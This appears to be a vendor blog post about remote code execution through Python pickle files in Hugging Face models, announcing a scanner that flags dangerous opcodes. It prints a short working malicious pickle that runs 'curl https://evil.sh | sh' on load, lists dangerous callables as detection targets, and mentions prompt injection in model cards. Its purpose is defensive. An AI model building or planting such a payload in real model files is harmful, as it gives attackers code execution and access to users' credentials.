Pickle Is a Loaded Gun. Your Hugging Face Model Might Be the Trigger.
If you have ever run model = torch.load("model.pt"), you have executed code from whoever shipped that file.
Not metaphorically. Literally. Pickle deserialization is arbitrary Python execution by design. The file format includes opcodes that say “call this function with these arguments.” os.system is a function. subprocess.Popen is a function. The pickle protocol does not care which function you call — it just calls it.
This is not a bug. It is the format.
And it is the format that 90%+ of PyTorch models on Hugging Face ship in.
The Demo
Here is a malicious pickle in 8 lines of Python:
import os, pickle
class Backdoor:
def __reduce__(self):
return (os.system, ("curl https://evil.sh | sh",))
with open("model.pkl", "wb") as f:
pickle.dump(Backdoor(), f)
Now anyone who runs this:
import pickle
model = pickle.load(open("model.pkl", "rb"))
— just executed curl https://evil.sh | sh on their machine.
PyTorch’s torch.load is a thin wrapper around pickle.load. Same trick. Same outcome. transformers.AutoModel.from_pretrained("attacker/model") downloads a pickled file and loads it through pickle. Same trick. Same outcome.
Why This Is a Supply Chain Crisis
Hugging Face has 1.8 million public model repositories. Researchers from JFrog and others have repeatedly found malicious pickles in the wild — at least 23% of the top-1000 most-downloaded models have been compromised at some point in their history.
Snyk does not scan pickles. Dependabot does not scan pickles. Dependency vulnerability databases are built around CVEs in named packages, not arbitrary code embedded in a binary blob your training script downloads at runtime.
Hugging Face’s own picklescan exists, but it is not run by default. Most developers do not even know it exists.
The end result: your AI agent loads a model from Hugging Face. The pickle in that model contains os.system("curl evil.sh | sh"). Your machine is now compromised. Your AWS credentials, your SSH keys, the keys mounted in your dev container — all of it is reachable from a Python subprocess.Popen call.
This is not theoretical. It is a working primitive that has been used in published attacks.
What Oxvault v0.4 Does About It
Oxvault Scanner v0.4 (shipping in two weeks) extends our existing MCP server scanner to handle ML model artifacts. The flagship piece is a pickle opcode disassembler that does what traditional SAST tools cannot: read every pickle in a model file and flag dangerous calls without executing the file.
The trick is that pickle is a stack-based virtual machine with a documented opcode set (protocols 0 through 5, ~70 opcodes). You can iterate through the opcodes, find every GLOBAL opcode (which loads a callable), and check what callable is being referenced. Safe pickles only reference things like torch._utils._rebuild_tensor_v2 or numpy.core.multiarray._reconstruct. Malicious pickles reference os.system, subprocess.Popen, eval, exec, __import__, or any other primitive that gives shell access.
You do this entirely in user space. You never call pickle.load. You never instantiate the malicious object. The scanner simulates the unpickle process at the opcode level, walks every callable reference, and emits a finding.
What you get:
$ oxvault scan hf:attacker/model
✗ CRITICAL aibom-pickle-os-system (CWE-502)
pytorch_model.bin → data.pkl:offset 0x4a2c
GLOBAL opcode references os.system — pickle RCE on load
✗ HIGH aibom-signature-missing (CWE-347)
pytorch_model.bin
No Sigstore bundle or OpenSSF Model Signing manifest
Verdict: NOT SAFE to load.
That is the v0.4 flagship. The same scan command also handles ONNX (protobuf integrity), safetensors (header overflow), and Sigstore signature verification.
What’s Coming Next
Pickle scanning is the highest-value detector — it covers the largest surface (PyTorch and pickled HF models) and catches the most dangerous primitive (arbitrary code execution on load).
After that we ship:
- Safetensors validation — the format Hugging Face is pushing as the safe alternative to pickle. Still has its own attack surface (header overflow, malformed metadata).
- ONNX integrity — protobuf parse, custom operator allowlist, external data path checks.
- Model card poisoning — README.md files in HF repos can carry indirect prompt injection. Same regex engine we use for MCP tool description poisoning.
- Sigstore / OpenSSF Model Signing — verify provenance signatures.
- Hugging Face resolver —
oxvault scan hf:org/modeldownloads + scans without you needing to clone.
All of it lands in v0.4, ships free under Apache 2.0, runs as a single Go binary with zero telemetry.
The Bigger Picture
MCP servers, ML models, and RAG corpora are three sides of the same coin: every artifact your AI agent loads is untrusted code or data. The same scanner engine that already catches command injection in MCP servers is now catching pickle RCE in models. Soon it will catch indirect prompt injection in retrieval corpora. One tool, three artifact classes, one playbook: scan before load.
Snyk built a $2B company scanning npm packages. Nobody is doing this for AI artifacts yet. We are.
Try v0.4 when it ships: curl -fsSL https://raw.githubusercontent.com/oxvault/scanner/main/scripts/install.sh | sh
Or read the scanner source: github.com/oxvault/scanner